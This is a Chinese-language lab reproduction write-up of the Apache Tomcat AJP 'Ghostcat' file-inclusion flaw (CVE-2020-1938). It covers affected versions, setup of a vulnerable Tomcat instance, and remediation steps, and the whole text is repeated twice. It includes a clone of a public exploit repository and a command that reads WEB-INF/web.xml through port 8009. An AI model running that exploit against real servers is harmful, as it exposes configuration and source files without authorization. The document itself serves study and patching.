Apache-Tomcat-Ajp幽靈貓漏洞復現(cve-2020-1938|CNVD-2020-10487)

漏洞說明#

ApacheTomcat都是Apache開源組織開發的用於處理HTTP服務的項目,兩者都是免費的,都可以做爲獨立的Web服務器運行。
Apache Tomcat服務器存在文件包含漏洞,攻擊者可利用該漏洞讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,如:webapp 配置文件或源代碼等。

漏洞危害#

由於Tomcat默認開啓的AJP服務。端口號爲8009,攻擊者可構造惡意的請求包進行文件包含操作,進而讀取受影響Tomcat服務器上的Web上的任意文件。

漏洞編號#

CVE-2020-1938

CNVD-2020-10487

影響範圍#

該文件包含漏洞影響以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

漏洞復現#

環境 centos7 apache-tomcat-8.5.32

環境搭建#

centos7安裝git,如果有git則不用安裝

yum install git -y

安裝完成後使用下面的命令克隆環境

git clone https://github.com/laolisafe/CVE-2020-1938

解壓Apache

unzip apache-tomcat-8.5.32.zip

Apachebin目錄下,添加執行權限,我這裏給全部權限


啓動Apache,注意有先安裝java環境

sh startup.sh

查看端口,8009端口是開啓的

漏洞利用#

下載exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我們這裏讀取WEB-INF/web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.17.228

 

解決方案#

1、臨時禁用AJP協議端口,在conf/server.xml配置文件中註釋掉
2、配置ajp配置中的secretRequiredsecret屬性來限制認證
3、官方下載最新版下載地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下載
https://github.com/apache/tomcat/releases

漏洞說明#

ApacheTomcat都是Apache開源組織開發的用於處理HTTP服務的項目,兩者都是免費的,都可以做爲獨立的Web服務器運行。
Apache Tomcat服務器存在文件包含漏洞,攻擊者可利用該漏洞讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,如:webapp 配置文件或源代碼等。

漏洞危害#

由於Tomcat默認開啓的AJP服務。端口號爲8009,攻擊者可構造惡意的請求包進行文件包含操作,進而讀取受影響Tomcat服務器上的Web上的任意文件。

漏洞編號#

CVE-2020-1938

CNVD-2020-10487

影響範圍#

該文件包含漏洞影響以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

漏洞復現#

環境 centos7 apache-tomcat-8.5.32

環境搭建#

centos7安裝git,如果有git則不用安裝

yum install git -y

安裝完成後使用下面的命令克隆環境

git clone https://github.com/laolisafe/CVE-2020-1938

解壓Apache

unzip apache-tomcat-8.5.32.zip

Apachebin目錄下,添加執行權限,我這裏給全部權限


啓動Apache,注意有先安裝java環境

sh startup.sh

查看端口,8009端口是開啓的

漏洞利用#

下載exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我們這裏讀取WEB-INF/web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.248.129

 

解決方案#

1、臨時禁用AJP協議端口,在conf/server.xml配置文件中註釋掉
2、配置ajp配置中的secretRequiredsecret屬性來限制認證
3、官方下載最新版下載地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下載
https://github.com/apache/tomcat/releases

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章